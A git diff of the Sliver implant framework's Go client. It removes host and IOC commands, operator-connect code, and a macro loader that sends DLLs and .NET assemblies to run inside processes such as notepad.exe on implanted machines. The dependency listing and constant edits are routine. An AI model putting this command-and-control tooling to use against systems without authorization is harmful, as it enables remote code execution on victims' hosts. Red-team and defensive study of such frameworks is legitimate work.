-	tw.AppendHeader(table.Row{"File Path", "SHA-256"})
-	for _, ioc := range host.IOCs {
-		tw.AppendRow(table.Row{
-			ioc.Path,
-			ioc.FileHash,
-		})
-	}
-	return tw.Render()
-}
-
-func SelectHostIOC(host *clientpb.Host, con *console.SliverConsoleClient) (*clientpb.IOC, error) {
-
-	// Sort the keys because maps have a randomized order, these keys must be ordered for the selection
-	// to work properly since we rely on the index of the user's selection to find the session in the map
-	var keys []string
-	var iocMap = make(map[string]*clientpb.IOC)
-	for _, ioc := range host.IOCs {
-		keys = append(keys, ioc.ID)
-		iocMap[ioc.ID] = ioc
-	}
-	sort.Strings(keys)
-
-	outputBuf := bytes.NewBufferString("")
-	table := tabwriter.NewWriter(outputBuf, 0, 2, 2, ' ', 0)
-
-	// Column Headers
-	for _, key := range keys {
-		ioc := iocMap[key]
-		fmt.Fprintf(table, "%s\t%s\t\n",
-			ioc.Path,
-			ioc.FileHash,
-		)
-	}
-	table.Flush()
-
-	options := strings.Split(outputBuf.String(), "\n")
-	options = options[:len(options)-1] // Remove the last empty option
-	prompt := &survey.Select{
-		Message: "Select an IOC:",
-		Options: options,
-	}
-	selected := ""
-	survey.AskOne(prompt, &selected)
-	if selected == "" {
-		return nil, ErrNoSelection
-	}
-
-	// Go from the selected option -> index -> host
-	for index, option := range options {
-		if option == selected {
-			return iocMap[keys[index]], nil
-		}
-	}
-	return nil, ErrNoSelection
-}

client/command/hosts/hosts-rm.go

@@ -1,41 +0,0 @@
-package hosts
-
-/*
-	Sliver Implant Framework
-	Copyright (C) 2021  Bishop Fox
-
-	This program is free software: you can redistribute it and/or modify
-	it under the terms of the GNU General Public License as published by
-	the Free Software Foundation, either version 3 of the License, or
-	(at your option) any later version.
-
-	This program is distributed in the hope that it will be useful,
-	but WITHOUT ANY WARRANTY; without even the implied warranty of
-	MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the
-	GNU General Public License for more details.
-
-	You should have received a copy of the GNU General Public License
-	along with this program.  If not, see <https://www.gnu.org/licenses/>.
-*/
-
-import (
-	"context"
-
-	"github.com/bishopfox/sliver/client/console"
-	"github.com/desertbit/grumble"
-)
-
-// HostsRmCmd - Remove a host from the database
-func HostsRmCmd(ctx *grumble.Context, con *console.SliverConsoleClient) {
-	host, err := SelectHost(con)
-	if err != nil {
-		con.PrintErrorf("%s\n", err)
-		return
-	}
-	_, err = con.Rpc.HostRm(context.Background(), host)
-	if err != nil {
-		con.PrintErrorf("%s\n", err)
-		return
-	}
-	con.PrintInfof("Removed host from database\n")
-}

client/command/hosts/hosts.go

@@ -1,164 +0,0 @@
-package hosts
-
-/*
-	Sliver Implant Framework
-	Copyright (C) 2021  Bishop Fox
-
-	This program is free software: you can redistribute it and/or modify
-	it under the terms of the GNU General Public License as published by
-	the Free Software Foundation, either version 3 of the License, or
-	(at your option) any later version.
-
-	This program is distributed in the hope that it will be useful,
-	but WITHOUT ANY WARRANTY; without even the implied warranty of
-	MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the
-	GNU General Public License for more details.
-
-	You should have received a copy of the GNU General Public License
-	along with this program.  If not, see <https://www.gnu.org/licenses/>.
-*/
-
-import (
-	"bytes"
-	"context"
-	"errors"
-	"fmt"
-	"sort"
-	"strings"
-	"text/tabwriter"
-
-	"github.com/AlecAivazis/survey/v2"
-	"github.com/bishopfox/sliver/client/console"
-	"github.com/bishopfox/sliver/protobuf/clientpb"
-	"github.com/bishopfox/sliver/protobuf/commonpb"
-	"github.com/desertbit/grumble"
-
-	"github.com/jedib0t/go-pretty/v6/table"
-)
-
-var (
-	// ErrNoHosts - No hosts in database
-	ErrNoHosts = errors.New("no hosts")
-	// ErrNoSelection - No selection made
-	ErrNoSelection = errors.New("no selection")
-)
-
-// HostsCmd - Main hosts command
-func HostsCmd(ctx *grumble.Context, con *console.SliverConsoleClient) {
-	allHosts, err := con.Rpc.Hosts(context.Background(), &commonpb.Empty{})
-	if err != nil {
-		con.PrintErrorf("%s", err)
-		return
-	}
-	if 0 < len(allHosts.Hosts) {
-		con.Printf("%s\n", hostsTable(allHosts.Hosts, con))
-	} else {
-		con.PrintInfof("No hosts\n")
-	}
-}
-
-func hostsTable(hosts []*clientpb.Host, con *console.SliverConsoleClient) string {
-	tw := table.NewWriter()
-	tw.SetStyle(table.StyleLight)
-	tw.AppendHeader(table.Row{
-		"Hostname",
-		"Operating System",
-		"Sessions",
-		"IOCs",
-		"Extension Data",
-		"ID (Short)",
-	})
-	for _, host := range hosts {
-		var shortID string
-		if len(host.HostUUID) < 8 {
-			shortID = host.HostUUID[:len(host.HostUUID)]
-		} else {
-			shortID = host.HostUUID[:8]
-		}
-		tw.AppendRow(table.Row{
-			host.Hostname,
-			host.OSVersion,
-			hostSessionNumbers(host.HostUUID, con),
-			len(host.IOCs),
-			len(host.ExtensionData),
-			shortID,
-		})
-	}
-	return tw.Render()
-}
-
-func hostSessionNumbers(hostUUID string, con *console.SliverConsoleClient) string {
-	hostSessions := SessionsForHost(hostUUID, con)
-	if 0 == len(hostSessions) {
-		return "None"
-	}
-	sessionNumbers := []string{}
-	for _, hostSession := range hostSessions {
-		sessionNumbers = append(sessionNumbers, fmt.Sprintf("%d", hostSession.ID))
-	}
-	return strings.Join(sessionNumbers, ", ")
-}
-
-func SessionsForHost(hostUUID string, con *console.SliverConsoleClient) []*clientpb.Session {
-	sessions, err := con.Rpc.GetSessions(context.Background(), &commonpb.Empty{})
-	if err != nil {
-		return []*clientpb.Session{}
-	}
-	hostSessions := []*clientpb.Session{}
-	for _, session := range sessions.Sessions {
-		if session.UUID == hostUUID {
-			hostSessions = append(hostSessions, session)
-		}
-	}
-	return hostSessions
-}
-
-// SelectHost - Interactively select a host from the database
-func SelectHost(con *console.SliverConsoleClient) (*clientpb.Host, error) {
-	allHosts, err := con.Rpc.Hosts(context.Background(), &commonpb.Empty{})
-	if err != nil {
-		return nil, err
-	}
-	// Sort the keys because maps have a randomized order, these keys must be ordered for the selection
-	// to work properly since we rely on the index of the user's selection to find the session in the map
-	var keys []string
-	var hostMap = make(map[string]*clientpb.Host)
-	for _, host := range allHosts.Hosts {
-		keys = append(keys, host.HostUUID)
-		hostMap[host.HostUUID] = host
-	}
-	sort.Strings(keys)
-
-	outputBuf := bytes.NewBufferString("")
-	table := tabwriter.NewWriter(outputBuf, 0, 2, 2, ' ', 0)
-
-	// Column Headers
-	for _, key := range keys {
-		host := hostMap[key]
-		fmt.Fprintf(table, "%s\t%s\t\n",
-			host.Hostname,
-			host.OSVersion,
-		)
-	}
-	table.Flush()
-
-	options := strings.Split(outputBuf.String(), "\n")
-	options = options[:len(options)-1] // Remove the last empty option
-	prompt := &survey.Select{
-		Message: "Select a host:",
-		Options: options,
-	}
-	selected := ""
-	survey.AskOne(prompt, &selected)
-	if selected == "" {
-		return nil, ErrNoSelection
-	}
-
-	// Go from the selected option -> index -> host
-	for index, option := range options {
-		if option == selected {
-			return hostMap[keys[index]], nil
-		}
-	}
-	return nil, ErrNoSelection
-}

client/command/macros/README.md

@@ -1,4 +0,0 @@
-Extensions
-===========
-
-Wraps external DLLs/tool in Sliver console commands.

client/command/macros/load.go

@@ -1,335 +0,0 @@
-package macros
-
-/*
-	Sliver Implant Framework
-	Copyright (C) 2019  Bishop Fox
-
-	This program is free software: you can redistribute it and/or modify
-	it under the terms of the GNU General Public License as published by
-	the Free Software Foundation, either version 3 of the License, or
-	(at your option) any later version.
-
-	This program is distributed in the hope that it will be useful,
-	but WITHOUT ANY WARRANTY; without even the implied warranty of
-	MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the
-	GNU General Public License for more details.
-
-	You should have received a copy of the GNU General Public License
-	along with this program.  If not, see <https://www.gnu.org/licenses/>.
-*/
-
-import (
-	"context"
-	"encoding/json"
-	"fmt"
-	"io/ioutil"
-	"os"
-	"path"
-	"path/filepath"
-	"strings"
-
-	"github.com/bishopfox/sliver/client/command/help"
-	"github.com/bishopfox/sliver/client/console"
-	consts "github.com/bishopfox/sliver/client/constants"
-	"github.com/bishopfox/sliver/protobuf/sliverpb"
-	"github.com/desertbit/grumble"
-)
-
-const (
-	defaultTimeout = 60
-
-	windowsDefaultHostProc = `c:\windows\system32\notepad.exe`
-	linuxDefaultHostProc   = "/bin/bash"
-	macosDefaultHostProc   = "/Applications/Safari.app/Contents/MacOS/SafariForWebKitDevelopment"
-)
-
-var commandMap map[string]macro
-var defaultHostProc = map[string]string{
-	"windows": windowsDefaultHostProc,
-	"linux":   windowsDefaultHostProc,
-	"darwin":  macosDefaultHostProc,
-}
-
-type binFiles struct {
-	Ext64Path string `json:"x64"`
-	Ext32Path string `json:"x86"`
-}
-
-type macroFile struct {
-	OS    string   `json:"os"`
-	Files binFiles `json:"files"`
-}
-
-type macroCommand struct {
-	Name         string      `json:"name"`
-	Entrypoint   string      `json:"entrypoint"`
-	Help         string      `json:"help"`
-	LongHelp     string      `json:"longHelp"`
-	AllowArgs    bool        `json:"allowArgs"`
-	DefaultArgs  string      `json:"defaultArgs"`
-	MacroFiles   []macroFile `json:"extFiles"`
-	IsReflective bool        `json:"isReflective"`
-	IsAssembly   bool        `json:"IsAssembly"`
-}
-
-func (ec *macroCommand) getDefaultProcess(targetOS string) (proc string, err error) {
-	proc, ok := defaultHostProc[targetOS]
-	if !ok {
-		err = fmt.Errorf("no default process for %s target, please specify one", targetOS)
-	}
-	return
-}
-
-type macro struct {
-	Name     string         `json:"macroName"`
-	Commands []macroCommand `json:"macroCommands"`
-	Path     string
-}
-
-func (e *macro) getFileForTarget(cmdName string, targetOS string, targetArch string) (filePath string, err error) {
-	for _, c := range e.Commands {
-		if cmdName == c.Name {
-			for _, ef := range c.MacroFiles {
-				if targetOS == ef.OS {
-					switch targetArch {
-					case "x86":
-						filePath = filepath.Join(e.Path, ef.Files.Ext32Path)
-					case "x64":
-						filePath = filepath.Join(e.Path, ef.Files.Ext64Path)
-					default:
-						filePath = filepath.Join(e.Path, ef.Files.Ext64Path)
-					}
-				}
-			}
-
-		}
-	}
-	if filePath == "" {
-		err = fmt.Errorf("no macro file found for %s/%s", targetOS, targetArch)
-	}
-	return
-}
-
-func (e *macro) getCommandFromName(name string) (extCmd *macroCommand, err error) {
-	for _, x := range e.Commands {
-		if x.Name == name {
-			extCmd = &x
-			return
-		}
-	}
-	err = fmt.Errorf("no macro command found for name %s", name)
-	return
-}
-
-// LoadMacroCmd - Locally load a macro into the Sliver shell.
-func LoadMacroCmd(ctx *grumble.Context, con *console.SliverConsoleClient) {
-
-	dirPath := ctx.Args.String("dir-path")
-
-	// retrieve macro manifest
-	manifestPath := fmt.Sprintf("%s/%s", dirPath, "manifest.json")
-	jsonBytes, err := ioutil.ReadFile(manifestPath)
-	if err != nil {
-		con.PrintErrorf("%s\n", err)
-	}
-	// parse it
-	ext := &macro{}
-	err = json.Unmarshal(jsonBytes, ext)
-	if err != nil {
-		con.PrintErrorf("Error loading macro: %v", err)
-		return
-	}
-	ext.Path = dirPath
-	// for each macro command, add a new app command
-	for _, extCmd := range ext.Commands {
-		// do not add if the command already exists
-		if cmdExists(extCmd.Name, ctx.App) {
-			con.PrintErrorf("%s command already exists\n", extCmd.Name)
-			return
-		}
-		con.PrintInfof("Adding %s command: %s\n", extCmd.Name, extCmd.Help)
-
-		// Have to use a global map here, as passing the extCmd
-		// either by value or by ref fucks things up
-		commandMap[extCmd.Name] = *ext
-		helpMsg := fmt.Sprintf("[%s] %s", ext.Name, extCmd.Help)
-		macroCmd := &grumble.Command{
-			Name:     extCmd.Name,
-			Help:     helpMsg,
-			LongHelp: help.FormatHelpTmpl(extCmd.LongHelp),
-			Run: func(extCtx *grumble.Context) error {
-				con.Println()
-				runMacroCommand(extCtx, con)
-				con.Println()
-				return nil
-			},
-			Flags: func(f *grumble.Flags) {
-				if extCmd.IsAssembly {
-					f.String("m", "method", "", "Optional method (a method is required for a .NET DLL)")
-					f.String("c", "class", "", "Optional class name (required for .NET DLL)")
-					f.String("d", "app-domain", "", "AppDomain name to create for .NET assembly. Generated randomly if not set.")
-					f.String("a", "arch", "x84", "Assembly target architecture: x86, x64, x84 (x86+x64)")
-				}
-				f.String("p", "process", "", "Path to process to host the shared object")
-				f.Bool("s", "save", false, "Save output to disk")
-				f.Int("t", "timeout", defaultTimeout, "command timeout in seconds")
-			},
-			Args: func(a *grumble.Args) {
-				a.StringList("arguments", "arguments", grumble.Default([]string{}))
-			},
-			HelpGroup: consts.MacroHelpGroup,
-		}
-		con.App.AddCommand(macroCmd)
-	}
-	con.PrintInfof("%s macro has been loaded\n", ext.Name)
-}
-
-func runMacroCommand(ctx *grumble.Context, con *console.SliverConsoleClient) {
-	session := con.ActiveSession.GetInteractive()
-	if session == nil {
-		return
-	}
-	ext, ok := commandMap[ctx.Command.Name]
-	if !ok {
-		con.PrintErrorf("No macro command found for `%s` command\n", ctx.Command.Name)
-		return
-	}
-
-	binPath, err := ext.getFileForTarget(ctx.Command.Name, session.GetOS(), session.GetArch())
-	if err != nil {
-		con.PrintErrorf("%s\n", err)
-		return
-	}
-
-	c, err := ext.getCommandFromName(ctx.Command.Name)
-	if err != nil {
-		con.PrintErrorf("%s\n", err)
-		return
-	}
-
-	args := ctx.Args.StringList("arguments")
-	var extArgs string
-	if len(c.DefaultArgs) != 0 && len(args) == 0 {
-		extArgs = c.DefaultArgs
-	} else {
-		extArgs = strings.Join(args, " ")
-	}
-	entryPoint := c.Entrypoint
-	processName := ctx.Flags.String("process")
-	if processName == "" {
-		processName, err = c.getDefaultProcess(session.GetOS())
-		if err != nil {
-			con.PrintErrorf("%s\n", err)
-			return
-		}
-	}
-	isDLL := false
-	if filepath.Ext(binPath) == ".dll" {
-		isDLL = true
-	}
-	binData, err := ioutil.ReadFile(binPath)
-	if err != nil {
-		con.PrintErrorf("%s\n", err)
-		return
-	}
-	var outFilePath *os.File
-	if ctx.Flags.Bool("save") {
-		outFile := path.Base(fmt.Sprintf("%s_%s*.log", ctx.Command.Name, session.GetHostname()))
-		outFilePath, err = ioutil.TempFile("", outFile)
-		if err != nil {
-			con.PrintErrorf("%s\n", err)
-			return
-		}
-	}
-	if c.IsAssembly {
-		ctrl := make(chan bool)
-		msg := fmt.Sprintf("Executing %s %s ...", ctx.Command.Name, extArgs)
-		con.SpinUntil(msg, ctrl)
-		executeAssemblyResp, err := con.Rpc.ExecuteAssembly(context.Background(), &sliverpb.ExecuteAssemblyReq{
-			Request:   con.ActiveSession.Request(ctx),
-			IsDLL:     isDLL,
-			Process:   processName,
-			Arguments: extArgs,
-			Assembly:  binData,
-			Arch:      ctx.Flags.String("arch"),
-			Method:    ctx.Flags.String("method"),
-			ClassName: ctx.Flags.String("class"),
-			AppDomain: ctx.Flags.String("app-domain"),
-		})
-		ctrl <- true
-		<-ctrl
-		if err != nil {
-			con.PrintErrorf("%s\n", err)
-			return
-		}
-		con.PrintInfof("Output:\n%s", string(executeAssemblyResp.GetOutput()))
-		if outFilePath != nil {
-			outFilePath.Write(executeAssemblyResp.GetOutput())
-			con.PrintInfof("Output saved to %s\n", outFilePath.Name())
-		}
-	} else if c.IsReflective {
-		ctrl := make(chan bool)
-		msg := fmt.Sprintf("Executing %s %s ...", ctx.Command.Name, extArgs)
-		con.SpinUntil(msg, ctrl)
-		spawnDllResp, err := con.Rpc.SpawnDll(context.Background(), &sliverpb.InvokeSpawnDllReq{
-			Request:     con.ActiveSession.Request(ctx),
-			Args:        strings.Trim(extArgs, " "),
-			Data:        binData,
-			ProcessName: processName,
-			EntryPoint:  c.Entrypoint,
-			Kill:        true,
-		})
-		ctrl <- true
-		<-ctrl
-
-		if err != nil {
-			con.PrintErrorf("%s\n", err)
-			return
-		}
-
-		con.PrintInfof("Output:\n%s", spawnDllResp.GetResult())
-		if outFilePath != nil {
-			outFilePath.Write([]byte(spawnDllResp.GetResult()))
-			con.PrintInfof("Output saved to %s\n", outFilePath.Name())
-		}
-	} else {
-		ctrl := make(chan bool)
-		msg := fmt.Sprintf("Executing %s %s ...", ctx.Command.Name, extArgs)
-		con.SpinUntil(msg, ctrl)
-		sideloadResp, err := con.Rpc.Sideload(context.Background(), &sliverpb.SideloadReq{
-			Request:     con.ActiveSession.Request(ctx),
-			Args:        extArgs,
-			Data:        binData,
-			EntryPoint:  entryPoint,
-			ProcessName: processName,
-			Kill:        true,
-			IsDLL:       isDLL,
-		})
-		ctrl <- true
-		<-ctrl
-
-		if err != nil {
-			con.PrintErrorf("%s\n", err)
-			return
-		}
-
-		con.PrintInfof("Output:\n%s", sideloadResp.GetResult())
-		if outFilePath != nil {
-			outFilePath.Write([]byte(sideloadResp.GetResult()))
-			con.PrintInfof("Output saved to %s\n", outFilePath.Name())
-		}
-	}
-}
-
-func cmdExists(name string, app *grumble.App) bool {
-	for _, c := range app.Commands().All() {
-		if name == c.Name {
-			return true
-		}
-	}
-	return false
-}
-
-func init() {
-	commandMap = make(map[string]macro)
-}

client/command/operator/connect.go

@@ -1,46 +0,0 @@
-package operator
-
-import (
-	"context"
-
-	"github.com/bishopfox/sliver/client/console"
-	"github.com/bishopfox/sliver/client/prelude"
-	"github.com/bishopfox/sliver/protobuf/commonpb"
-	"github.com/desertbit/grumble"
-)
-
-func ConnectCmd(ctx *grumble.Context, con *console.SliverConsoleClient) {
-	url := ctx.Args.String("connection-string")
-	aesKey := ctx.Flags.String("aes-key")
-	agentRange := ctx.Flags.String("range")
-	skipExisting := ctx.Flags.Bool("skip-existing")
-
-	config := &prelude.OperatorConfig{
-		Range:       agentRange,
-		OperatorURL: url,
-		RPC:         con.Rpc,
-		AESKey:      aesKey,
-	}
-
-	sessMapper := prelude.InitSessionMapper(config)
-
-	con.PrintInfof("Connected to Operator at %s\n", url)
-	if !skipExisting {
-		sessions, err := con.Rpc.GetSessions(context.Background(), &commonpb.Empty{})
-		if err != nil {
-			con.PrintErrorf("Could not get session list: %s", err)
-			return
-		}
-		if len(sessions.Sessions) > 0 {
-			con.PrintInfof("Adding existing sessions ...\n")
-			for _, sess := range sessions.Sessions {
-				err = sessMapper.AddSession(sess)
-				if err != nil {
-					con.PrintErrorf("Could not add session %s to session mapper: %s", sess.Name, err)
-				}
-			}
-			con.PrintInfof("Done !\n")
-
-		}
-	}
-}

client/command/operator/operator.go

@@ -1,15 +0,0 @@
-package operator
-
-import (
-	"github.com/bishopfox/sliver/client/console"
-	"github.com/bishopfox/sliver/client/prelude"
-	"github.com/desertbit/grumble"
-)
-
-func OperatorCmd(ctx *grumble.Context, con *console.SliverConsoleClient) {
-	if prelude.SessionMapper != nil {
-		con.PrintInfof("Connected to Operator at %s\n", prelude.SessionMapper.GetConfig().OperatorURL)
-		return
-	}
-	con.PrintInfof("Not connected to any Operator server. Use `operator connect` to connect to one.")
-}

client/command/privilege/getprivs.go

@@ -2,8 +2,6 @@ package privilege
 
 import (
 	"context"
-	"strconv"
-	"strings"
 
 	"github.com/bishopfox/sliver/client/console"
 	"github.com/bishopfox/sliver/protobuf/sliverpb"
@@ -29,8 +27,6 @@ import (
 */
 
 func GetPrivsCmd(ctx *grumble.Context, con *console.SliverConsoleClient) {
-	var processName string = "Current Process"
-
 	session := con.ActiveSession.GetInteractive()
 	if session == nil {
 		return
@@ -60,15 +56,10 @@ func GetPrivsCmd(ctx *grumble.Context, con *console.SliverConsoleClient) {
 		return
 	}
 
-	if privs.ProcessName != "" {
-		processName = privs.ProcessName
-	}
-
 	// To make things look pretty, figure out the longest name and description
 	// for column width
 	var nameColumnWidth int = 0
 	var descriptionColumnWidth int = 0
-	var introWidth int = 34 + len(processName) + len(strconv.Itoa(int(session.PID)))
 
 	for _, entry := range privs.PrivInfo {
 		if len(entry.Name) > nameColumnWidth {
@@ -83,13 +74,12 @@ func GetPrivsCmd(ctx *grumble.Context, con *console.SliverConsoleClient) {
 	nameColumnWidth += 1
 	descriptionColumnWidth += 1
 
-	con.Printf("Privilege Information for %s (PID: %d)\n", processName, session.PID)
-	con.Println(strings.Repeat("-", introWidth))
-	con.Printf("\nProcess Integrity Level: %s\n\n", privs.ProcessIntegrity)
+	con.Println("Privilege Information for Current Process")
+	con.Println("-----------------------------------------")
 	con.Printf("%-*s\t%-*s\t%s\n", nameColumnWidth, "Name", descriptionColumnWidth, "Description", "Attributes")
 	con.Printf("%-*s\t%-*s\t%s\n", nameColumnWidth, "====", descriptionColumnWidth, "===========", "==========")
 	for _, entry := range privs.PrivInfo {
-		con.Printf("%-*s\t%-*s\t", nameColumnWidth, entry.Name, descriptionColumnWidth, entry.Description)
+		con.Printf("%-*s\t%-*s\t(", nameColumnWidth, entry.Name, descriptionColumnWidth, entry.Description)
 		if entry.Enabled {
 			con.Printf("Enabled")
 		} else {
@@ -104,6 +94,6 @@ func GetPrivsCmd(ctx *grumble.Context, con *console.SliverConsoleClient) {
 		if entry.UsedForAccess {
 			con.Printf(", Used for Access")
 		}
-		con.Printf("\n")
+		con.Printf(")\n")
 	}
 }

client/console/console.go

@@ -32,7 +32,6 @@ import (
 	"github.com/bishopfox/sliver/client/assets"
 	consts "github.com/bishopfox/sliver/client/constants"
 	"github.com/bishopfox/sliver/client/core"
-	"github.com/bishopfox/sliver/client/prelude"
 	"github.com/bishopfox/sliver/client/spin"
 	"github.com/bishopfox/sliver/client/version"
 	"github.com/bishopfox/sliver/protobuf/clientpb"
@@ -96,8 +95,6 @@ type BindCmds func(console *SliverConsoleClient)
 // Start - Console entrypoint
 func Start(rpc rpcpb.SliverRPCClient, bindCmds BindCmds, extraCmds BindCmds, isServer bool) error {
 
-	assets.Setup(false, false)
-
 	con := &SliverConsoleClient{
 		App: grumble.New(&grumble.Config{
 			Name:                  "Sliver",
@@ -188,13 +185,6 @@ func (con *SliverConsoleClient) EventLoop() {
 				con.PrintInfof("Session #%d %s - %s (%s) - %s/%s - %v\n\n",
 					session.ID, session.Name, session.RemoteAddress, session.Hostname, session.OS, session.Arch, currentTime)
 			}
-			// Prelude Operator
-			if prelude.SessionMapper != nil {
-				err = prelude.SessionMapper.AddSession(session)
-				if err != nil {
-					con.PrintErrorf("Could not add session to Operator: %s", err)
-				}
-			}
 
 		case consts.SessionUpdateEvent:
 			session := event.Session
@@ -209,14 +199,7 @@ func (con *SliverConsoleClient) EventLoop() {
 			if activeSession != nil && activeSession.ID == session.ID {
 				con.ActiveSession.Set(nil)
 				con.App.SetPrompt(con.GetPrompt())
-				con.Printf(Warn + "Active session disconnected\n")
-			}
-			if prelude.SessionMapper != nil {
-				err = prelude.SessionMapper.RemoveSession(session)
-				if err != nil {
-					con.PrintErrorf("Could not remove session from Operator: %s", err)
-				}
-				con.PrintInfof("Removed session %s from Operator\n", session.Name)
+				con.Printf(Warn + " Active session disconnected\n")
 			}
 			con.Println()
 		}

client/constants/constants.go

@@ -115,7 +115,6 @@ const (
 	UnsetStr  = "unset"
 	SaveStr   = "save"
 	ReloadStr = "reload"
-	LoadStr   = "load"
 
 	LootStr       = "loot"
 	LootLocalStr  = "local"
@@ -175,8 +174,7 @@ const (
 	MigrateStr          = "migrate"
 	SideloadStr         = "sideload"
 	SpawnDllStr         = "spawndll"
-	ExtensionStr        = "extension"
-	LoadMacroStr        = "load-macro"
+	LoadExtensionStr    = "load-extension"
 	StageListenerStr    = "stage-listener"
 
 	WebsitesStr       = "websites"
@@ -207,14 +205,9 @@ const (
 
 	ReactionStr = "reaction"
 
-	HostsStr = "hosts"
-	IOCStr   = "ioc"
-
 	LicensesStr = "licenses"
 
 	GetPrivsStr = "getprivs"
-	OperatorStr = "operator"
-	ConnectStr  = "connect"
 )
 
 // Groups
@@ -223,6 +216,5 @@ const (
 	SliverHelpGroup      = "Sliver:"
 	SliverWinHelpGroup   = "Sliver - Windows:"
 	MultiplayerHelpGroup = "Multiplayer:"
-	MacroHelpGroup       = "Sliver - 3rd Party macros:"
 	ExtensionHelpGroup   = "Sliver - 3rd Party extensions:"
 )

client/depaware.txt

@@ -0,0 +1,314 @@
+github.com/bishopfox/sliver/client dependencies: (generated by github.com/tailscale/depaware)
+
+        github.com/AlecAivazis/survey/v2                             from github.com/bishopfox/sliver/client/command/exec+
+        github.com/AlecAivazis/survey/v2/core                        from github.com/AlecAivazis/survey/v2
+     💣 github.com/AlecAivazis/survey/v2/terminal                    from github.com/AlecAivazis/survey/v2
+        github.com/VividCortex/ewma                                  from github.com/cheggaaa/pb/v3
+        github.com/alecthomas/chroma                                 from github.com/alecthomas/chroma/formatters+
+        github.com/alecthomas/chroma/formatters                      from github.com/bishopfox/sliver/client/command/filesystem
+        github.com/alecthomas/chroma/formatters/html                 from github.com/alecthomas/chroma/formatters
+        github.com/alecthomas/chroma/formatters/svg                  from github.com/alecthomas/chroma/formatters
+        github.com/alecthomas/chroma/lexers                          from github.com/bishopfox/sliver/client/command/filesystem
+        github.com/alecthomas/chroma/lexers/a                        from github.com/alecthomas/chroma/lexers
+        github.com/alecthomas/chroma/lexers/b                        from github.com/alecthomas/chroma/lexers+
+        github.com/alecthomas/chroma/lexers/c                        from github.com/alecthomas/chroma/lexers+
+        github.com/alecthomas/chroma/lexers/circular                 from github.com/alecthomas/chroma/lexers+
+        github.com/alecthomas/chroma/lexers/d                        from github.com/alecthomas/chroma/lexers
+        github.com/alecthomas/chroma/lexers/e                        from github.com/alecthomas/chroma/lexers
+        github.com/alecthomas/chroma/lexers/f                        from github.com/alecthomas/chroma/lexers
+        github.com/alecthomas/chroma/lexers/g                        from github.com/alecthomas/chroma/lexers
+        github.com/alecthomas/chroma/lexers/h                        from github.com/alecthomas/chroma/lexers+
+        github.com/alecthomas/chroma/lexers/i                        from github.com/alecthomas/chroma/lexers
+        github.com/alecthomas/chroma/lexers/internal                 from github.com/alecthomas/chroma/lexers+
+        github.com/alecthomas/chroma/lexers/j                        from github.com/alecthomas/chroma/lexers+
+        github.com/alecthomas/chroma/lexers/k                        from github.com/alecthomas/chroma/lexers
+        github.com/alecthomas/chroma/lexers/l                        from github.com/alecthomas/chroma/lexers
+        github.com/alecthomas/chroma/lexers/m                        from github.com/alecthomas/chroma/lexers
+        github.com/alecthomas/chroma/lexers/n                        from github.com/alecthomas/chroma/lexers
+        github.com/alecthomas/chroma/lexers/o                        from github.com/alecthomas/chroma/lexers
+        github.com/alecthomas/chroma/lexers/p                        from github.com/alecthomas/chroma/lexers+
+        github.com/alecthomas/chroma/lexers/q                        from github.com/alecthomas/chroma/lexers
+        github.com/alecthomas/chroma/lexers/r                        from github.com/alecthomas/chroma/lexers
+        github.com/alecthomas/chroma/lexers/s                        from github.com/alecthomas/chroma/lexers
+        github.com/alecthomas/chroma/lexers/t                        from github.com/alecthomas/chroma/lexers
+        github.com/alecthomas/chroma/lexers/v                        from github.com/alecthomas/chroma/lexers
+        github.com/alecthomas/chroma/lexers/w                        from github.com/alecthomas/chroma/lexers
+        github.com/alecthomas/chroma/lexers/x                        from github.com/alecthomas/chroma/lexers
+        github.com/alecthomas/chroma/lexers/y                        from github.com/alecthomas/chroma/lexers
+        github.com/alecthomas/chroma/lexers/z                        from github.com/alecthomas/chroma/lexers
+        github.com/alecthomas/chroma/styles                          from github.com/bishopfox/sliver/client/command/filesystem
+        github.com/bishopfox/sliver/client/assets                    from github.com/bishopfox/sliver/client/cli+
+        github.com/bishopfox/sliver/client/cli                       from github.com/bishopfox/sliver/client
+        github.com/bishopfox/sliver/client/command                   from github.com/bishopfox/sliver/client/cli
+        github.com/bishopfox/sliver/client/command/backdoor          from github.com/bishopfox/sliver/client/command
+        github.com/bishopfox/sliver/client/command/dllhijack         from github.com/bishopfox/sliver/client/command
+        github.com/bishopfox/sliver/client/command/environment       from github.com/bishopfox/sliver/client/command
+        github.com/bishopfox/sliver/client/command/exec              from github.com/bishopfox/sliver/client/command
+        github.com/bishopfox/sliver/client/command/extensions        from github.com/bishopfox/sliver/client/command
+        github.com/bishopfox/sliver/client/command/filesystem        from github.com/bishopfox/sliver/client/command
+        github.com/bishopfox/sliver/client/command/generate          from github.com/bishopfox/sliver/client/command+
+        github.com/bishopfox/sliver/client/command/help              from github.com/bishopfox/sliver/client/command+
+        github.com/bishopfox/sliver/client/command/info              from github.com/bishopfox/sliver/client/command
+        github.com/bishopfox/sliver/client/command/jobs              from github.com/bishopfox/sliver/client/command
+        github.com/bishopfox/sliver/client/command/loot              from github.com/bishopfox/sliver/client/command+
+        github.com/bishopfox/sliver/client/command/monitor           from github.com/bishopfox/sliver/client/command
+        github.com/bishopfox/sliver/client/command/network           from github.com/bishopfox/sliver/client/command
+        github.com/bishopfox/sliver/client/command/operators         from github.com/bishopfox/sliver/client/command
+        github.com/bishopfox/sliver/client/command/pivots            from github.com/bishopfox/sliver/client/command
+        github.com/bishopfox/sliver/client/command/portfwd           from github.com/bishopfox/sliver/client/command
+        github.com/bishopfox/sliver/client/command/privilege         from github.com/bishopfox/sliver/client/command
+        github.com/bishopfox/sliver/client/command/processes         from github.com/bishopfox/sliver/client/command
+        github.com/bishopfox/sliver/client/command/reaction          from github.com/bishopfox/sliver/client/command
+        github.com/bishopfox/sliver/client/command/registry          from github.com/bishopfox/sliver/client/command
+        github.com/bishopfox/sliver/client/command/screenshot        from github.com/bishopfox/sliver/client/command
+        github.com/bishopfox/sliver/client/command/sessions          from github.com/bishopfox/sliver/client/command
+        github.com/bishopfox/sliver/client/command/shell             from github.com/bishopfox/sliver/client/command
+        github.com/bishopfox/sliver/client/command/update            from github.com/bishopfox/sliver/client/command
+        github.com/bishopfox/sliver/client/command/websites          from github.com/bishopfox/sliver/client/command
+        github.com/bishopfox/sliver/client/command/wireguard         from github.com/bishopfox/sliver/client/command
+        github.com/bishopfox/sliver/client/console                   from github.com/bishopfox/sliver/client/cli+
